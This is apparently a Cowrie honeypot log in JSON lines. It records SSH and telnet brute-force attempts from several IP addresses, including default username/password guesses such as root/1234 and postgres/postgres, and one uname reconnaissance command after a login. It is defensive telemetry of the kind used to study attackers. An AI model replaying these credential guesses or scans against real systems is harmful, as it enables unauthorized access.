{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":52452,"dst_ip":"159.203.135.109","dst_port":22,"session":"f24515ac1d87","protocol":"ssh","message":"New connection: 85.198.97.85:52452 (159.203.135.109:22) [session: f24515ac1d87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:43:18.336745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:43:18.341474Z","src_ip":"85.198.97.85","session":"f24515ac1d87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":37164,"dst_ip":"159.203.135.109","dst_port":22,"session":"8df30663bb0e","protocol":"ssh","message":"New connection: 195.178.110.218:37164 (159.203.135.109:22) [session: 8df30663bb0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:43:35.291603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:43:35.375776Z","src_ip":"195.178.110.218","session":"8df30663bb0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:43:35.450275Z","src_ip":"195.178.110.218","session":"8df30663bb0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:43:35.675899Z","src_ip":"195.178.110.218","session":"8df30663bb0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:43:36.754632Z","src_ip":"195.178.110.218","session":"8df30663bb0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":48304,"dst_ip":"10.17.0.5","dst_port":22,"session":"22d721d6e49f","protocol":"ssh","message":"New connection: 92.118.39.92:48304 (10.17.0.5:22) [session: 22d721d6e49f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:44:01.215412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:44:01.220352Z","src_ip":"92.118.39.92","session":"22d721d6e49f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:44:01.322943Z","src_ip":"92.118.39.92","session":"22d721d6e49f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:44:01.634083Z","src_ip":"92.118.39.92","session":"22d721d6e49f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:44:02.749603Z","src_ip":"92.118.39.92","session":"22d721d6e49f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":40640,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9afcdf00f1a","protocol":"ssh","message":"New connection: 2.57.122.208:40640 (10.17.0.5:22) [session: b9afcdf00f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:44:39.308990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:44:39.406898Z","src_ip":"2.57.122.208","session":"b9afcdf00f1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:44:39.506913Z","src_ip":"2.57.122.208","session":"b9afcdf00f1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:44:40.117453Z","src_ip":"2.57.122.208","session":"b9afcdf00f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:44:41.253804Z","src_ip":"2.57.122.208","session":"b9afcdf00f1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:45:18.347370Z","src_ip":"85.198.97.85","session":"f24515ac1d87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.12.82.78","src_port":42292,"dst_ip":"10.17.0.5","dst_port":23,"session":"f28d3d88845a","protocol":"telnet","message":"New connection: 154.12.82.78:42292 (10.17.0.5:23) [session: f28d3d88845a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:45:45.074235Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":36756,"dst_ip":"10.17.0.5","dst_port":22,"session":"27d9e32889c1","protocol":"ssh","message":"New connection: 92.118.39.92:36756 (10.17.0.5:22) [session: 27d9e32889c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:46:15.929969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:46:15.934469Z","src_ip":"92.118.39.92","session":"27d9e32889c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:46:16.031101Z","src_ip":"92.118.39.92","session":"27d9e32889c1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1234","message":"login attempt [root/1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:46:16.342236Z","src_ip":"92.118.39.92","session":"27d9e32889c1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:46:16.576404Z","src_ip":"92.118.39.92","session":"27d9e32889c1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:46:16.579391Z","src_ip":"92.118.39.92","session":"27d9e32889c1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:46:16.678689Z","src_ip":"92.118.39.92","session":"27d9e32889c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:46:16.682920Z","src_ip":"92.118.39.92","session":"27d9e32889c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":57128,"dst_ip":"159.203.135.109","dst_port":22,"session":"477d13c99e29","protocol":"ssh","message":"New connection: 195.178.110.218:57128 (159.203.135.109:22) [session: 477d13c99e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:46:24.907486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:46:24.912482Z","src_ip":"195.178.110.218","session":"477d13c99e29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:46:24.992343Z","src_ip":"195.178.110.218","session":"477d13c99e29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubutnu","password":"ubuntu","message":"login attempt [ubutnu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:46:25.231814Z","src_ip":"195.178.110.218","session":"477d13c99e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:46:26.314161Z","src_ip":"195.178.110.218","session":"477d13c99e29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin","message":"login attempt [admin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:46:47.715693Z","src_ip":"154.12.82.78","session":"f28d3d88845a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":62.6482367515564,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:46:47.722302Z","src_ip":"154.12.82.78","session":"f28d3d88845a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53766,"dst_ip":"10.17.0.5","dst_port":22,"session":"a67b5bcf8748","protocol":"ssh","message":"New connection: 2.57.122.208:53766 (10.17.0.5:22) [session: a67b5bcf8748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:46:52.716790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:46:52.811209Z","src_ip":"2.57.122.208","session":"a67b5bcf8748","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:46:52.940941Z","src_ip":"2.57.122.208","session":"a67b5bcf8748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:46:53.770702Z","src_ip":"2.57.122.208","session":"a67b5bcf8748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:46:54.928534Z","src_ip":"2.57.122.208","session":"a67b5bcf8748","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":53396,"dst_ip":"10.17.0.5","dst_port":22,"session":"dec3861ae488","protocol":"ssh","message":"New connection: 92.118.39.92:53396 (10.17.0.5:22) [session: dec3861ae488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:24.279646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:24.283929Z","src_ip":"92.118.39.92","session":"dec3861ae488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:24.380399Z","src_ip":"92.118.39.92","session":"dec3861ae488","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"12345","message":"login attempt [root/12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:24.673430Z","src_ip":"92.118.39.92","session":"dec3861ae488","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:24.902313Z","src_ip":"92.118.39.92","session":"dec3861ae488","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:24.905679Z","src_ip":"92.118.39.92","session":"dec3861ae488","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:25.022756Z","src_ip":"92.118.39.92","session":"dec3861ae488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T05:48:25.027544Z","src_ip":"92.118.39.92","session":"dec3861ae488","protocol":"ssh"}
